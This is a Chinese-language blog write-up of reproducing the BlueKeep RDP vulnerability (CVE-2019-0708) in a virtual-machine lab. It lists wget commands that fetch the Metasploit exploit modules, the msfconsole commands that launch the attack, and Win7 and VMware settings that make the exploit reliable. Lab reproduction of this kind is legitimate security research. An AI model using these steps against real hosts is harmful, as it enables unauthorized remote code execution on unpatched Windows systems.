cve_2019_0708_bluekeep复现采坑

0X01 简介

Microsoft Windows是美国微软公司发布的视窗操作系统。远程桌面连接是微软从Windows 2000 Server开始提供的功能组件。

2019年5月14日，微软发布了月度安全更新补丁，修复了远程桌面协议（RDP）远程代码执行漏洞。未经身份验证的攻击者利用该漏洞，向目标 Windows主机发送恶意构造请求，可以在目标系统上执行任意代码。

近日，Metasploit发布了该漏洞的利用模块，GitHub网站上也公开了该漏洞的利用代码，引起了安全研究人员的广泛关注。目前该漏洞利用仅对Windows 7 SP1 x64与Windows 2008 R2 x64（非系统默认配置）系统版本有效，在虚拟机环境下复现成功。

 

0x02 漏洞复现

下载利用脚本，放在对应的目录，进入msf后需reload_all重新加载模块。

 

kali攻击机下载metasploit攻击脚本，kali中执行以下命令。

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

 

rdp.rb ->

/usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

rdp_scanner.rb ->

/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb ->

/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cve_2019_0708_bluekeep_rce.rb ->

/usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

 

攻击：

Msfconsole

reload_all 重新加载所有的模块，将新添加的模块加载上。

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

set rhosts 目标IP

set target 3 3代表目标机器架构为VMware

exploit/run 开始攻击

 

 

9月7日win7专业版复现失败！

看github上有几位大佬virtubox复现成功，安装virtubox，重新安装新的win7系统进行测试，发现还是不行。

目前这个利用脚本并不是很稳定，最近github看了很多国际友人的留言，参见文后注意事项。

https://github.com/rapid7/metasploit-framework/pull/12283?from=timeline&isappinstalled=0

 

 

 

9月9日复现

将专业版升级到旗舰版

 

复现成功，反复几次，很稳定。

 

利用注意事项（目前感觉win7旗舰版是最稳定的）

1.win7 x64 旗舰版 sp1

2. windows版本 6.1.7601

3.vmware设置2个内核、2G内存（涉及到内存机制）

 

0x03 参考链接

https://github.com/rapid7/metasploit-framework/pull/12283?from=timeline&isappinstalled=0

https://github.com/rapid7/metasploit-framework/pull/12283/files

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961?from=timeline

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

https://www.cvedetails.com/cve/CVE-2019-0708/

https://github.com/zerosum0x0/CVE-2019-0708

https://github.com/rapid7/metasploit-framework/pull/12283/files#diff-fc2b557755ef2db9d4d58b6aaae7e7a3R116